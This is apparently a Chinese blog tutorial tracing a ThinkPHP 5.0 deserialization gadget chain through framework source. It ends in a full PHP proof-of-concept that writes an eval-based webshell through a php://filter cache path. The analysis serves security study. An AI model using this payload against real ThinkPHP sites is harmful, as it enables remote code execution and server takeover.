前提
源码下载完成之后,因为并不存在反序列化入口,所以需要手动添加
在application\index\controller\Index.php中修改一下
1 2 3 4 5 6
| public function index() { $payload = $_POST['payload']; @unserialize(base64_decode($payload)); return ""; }
|

知识点
在 PHP 中,file_exists 函数会在检查文件路径时将传递的参数转换为字符串。由于这个转换行为,它会触发对象的 __toString 方法。
method_exists 是 PHP 中的一个内置函数,用于检查某个类或对象是否存在某个方法
抽象类是一种特殊的类, 不能被实例化, 只能被继承, 可以包含抽象方法和非抽象方法, 子类必须实现抽象方法,不然会报错 , 使用抽象类需要实例化它的子类
分析过程
从Windows.php 类的 --destruct() 开始寻找
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
跟着去寻找 removeFiles()
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
存在 file_exists() 可以调用到类对象的 __toString() 方法
搜索一下哪些类里面使用了 __toString() 方法
可以找到很多的类, 选择 Model.php

Model.php中定义了一个抽象类Model,所以我们需要找到一个它的子类, 有两个子类 Merge和Pivot
选择 Pivot
Model.php 的 __toString()
1 2 3
| public function __toString(){ return $this->toJson(); }
|
继续跟着寻找 toJson()
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
继续跟着寻找 toArray()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
912行可以看到 $value 调用了 getAttr() 方法, 最终的目的是通过 调用 __call() 方法实现写 shell, 如果 $value 可控,
就可以通过控制 $value 调用到 __call()
在对象中调用一个不可访问方法时,__call() 会被调用, 控制 $value 为一个没有getAttr() 方法的对象

从if (!empty($this->append)) 开始
首先要保证$this→append数组不为空, 然后要进入到第三个else语句中 , 需要满足
is_array($name) –> $name不能为数组
strpos($name, '.') –> $name的值中不含 .
然后就是 $relation = Loader::parseName($name, 1, false);
进入到 parseName() 方法
1 2 3 4 5 6 7 8 9 10 11 12
| public static function parseName($name, $type = 0, $ucfirst = true) { if ($type) { $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { return strtoupper($match[1]); }, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name); }
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_")); }
|
就是对传入的参数 进行两种命名方式的转变, 没有什么影响 (大小写的命名或者下划线的命名)
然后是 method_exists($this, $relation)
当前对象需要有 $relation 方法, 而 $relation其实就是$name , $name 就是$this→append的值 ,且$append 是可控的
所以就可以控制 $relation 为当前对象 \think\Model 拥有的方法,
选择 getError() 方法
1 2 3 4 5 6
| public function getError() { return $this->error; }
|
此时 $modelRelation 是 getError() 的返回值, 可控
然后就是 $value = $this->getRelationData($modelRelation)
我们需要控制 $value , $value 的值由getRelationData() 方法返回

跟进getRelationData() 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
传入的参数 $modelRelation 需要为 Relation 类的实例,或者任何从 Relation 类继承而来的子类实例
再看到if 判断语句, 进入到里面需要满足三个条件
$this->parent 可控, 可以满足
!$modelRelation->isSelfRelation() , 需要isSelfRelation()返回为 false
get_class($modelRelation->getModel()) == get_class($this->parent))
第二个条件 isSelfRelation()
1 2 3 4
| public function isSelfRelation() { return $this->selfRelation; }
|
$selfRelation 可控, 可以满足第二个条件
第三个条件 getModel()
1 2 3 4
| public function getModel() { return $this->query->getModel(); }
|
$query可控, 所以需要寻找在某个类里面有可控的 getModel()
在 Query.php中 存在getModel() 可控
1 2 3 4
| public function getModel() { return $this->model; }
|
而且 $this->parent 可控, 所以可以满足第三个条件
能够满足三个条件, 进入到if 语句里面去
$value = $this->parent, 从而可以控制到 $value 的值
现在 $value 的值可控 , 继续向下走
来到method_exists($modelRelation, 'getBindAttr')
$modelRelation 里面需要有 getBindAttr() 方法
前面可知 $modelRelation 需要是 Relation 类的实例,或者任何从 Relation 类继承而来的子类实例
现在还需要满足 有 getBindAttr() 方法
搜索可以发现 只有OneToOne 类中存在getBindAttr() 方法 , 而且 OneToOne类也是继承Relation 类的子类, 满足条件
但是OneToOne 是个抽象类, 无法实例化, 又需要找它的子类 , 可以找到 HasOne
可以令 $modelRelation的值为 HasOne
接着就是if ($bindAttr)
1 2 3 4 5
| public function getBindAttr() { return $this->bindAttr; }
|
$bindAttr = $modelRelation->getBindAttr() , 所以 $bindAttr 可控, 进入到if语句中
然后因为$data默认为空, 就可以进入到 $item[$key] = $value ? $value->getAttr($attr) : null;
就可以控制 $value 进入到 __call() 方法实现写shell
现在就需要找到适合写shell 的 __call() 方法
Output.php 里面的 __call()方法
$methon –>getAttr() $args –>$attr –> $this->bindAttr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
}
|
$this->styles 可控, 进入到 if里面
找一下 block() 方法
1 2 3 4
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
|
找到writeln方法
1 2 3 4
| public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
|
找到 write 方法
1 2 3 4
| public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
$this->handle 可控, 再搜索看看还有哪些类存在 write 方法
Memcache.php中的write方法
1 2 3 4
| public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
|
$this→headler可控, 再找可利用的 set 方法
File.php的set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
存在函数file_put_contents,可以想办法利用写入shell
1
| $result = file_put_contents($filename, $data);
|
向上看看 $filename和 $data 是否可控
1
| $filename = $this->getCacheKey($name, true);
|
跟进getCacheKey()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
|
$this->options可控
$filename = $this->options['path'] . $name . '.php'; 后缀名已经固定为 .php 了, 且文件名的一部分是可控的
再去看看 $data是否可控
1
| $data = serialize($value);
|
$data是第二个参数$value的序列化值,不可控, 也就无法写入想要的内容
继续向下走, 可以看到后面调用了一个 setTagItem方法
1
| isset($first) && $this->setTagItem($filename);
|
setTagItem方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
可以看到后面又一次调用了 set()方法, 且此时的参数 $value可控,
$value –> $name –> $filename
第二次调用set() 方法, $key 参数也就是前面set()方法的 $name参数 会再次进入 getCacheKey 方法,
导致这个参数也是可控的
所以在第二次调用set时,file_put_contents的俩个参数都可控 ,也就可以写入shell了
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| <?php namespace think\process\pipes { class Windows { private $files = [];
public function __construct($files) { $this->files = [$files]; } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent;
function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("xxx"=>"getError"); $this->error = $modelRelation; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; $this->bindAttr = ['xxx']; } } }
namespace think\db { class Query { protected $model;
function __construct($model) { $this->model = $model; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; }
} } namespace think\session\driver { class Memcached { protected $handler;
function __construct($handle) { $this->handler = $handle; } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag;
function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; }
} }
namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo serialize($window); echo base64_encode(serialize($window)); }
|
打入payload, 会在目录下生成一个php文件

访问相应的文件

https://xz.aliyun.com/t/8143?time__1311=n4%2BxnD0Dc7GQDt5itD%2FiW4BIFTxI2TM2DeTD#toc-12
https://www.cnblogs.com/seizer/p/17035791.html
https://www.cnblogs.com/Yhck/p/15616884.html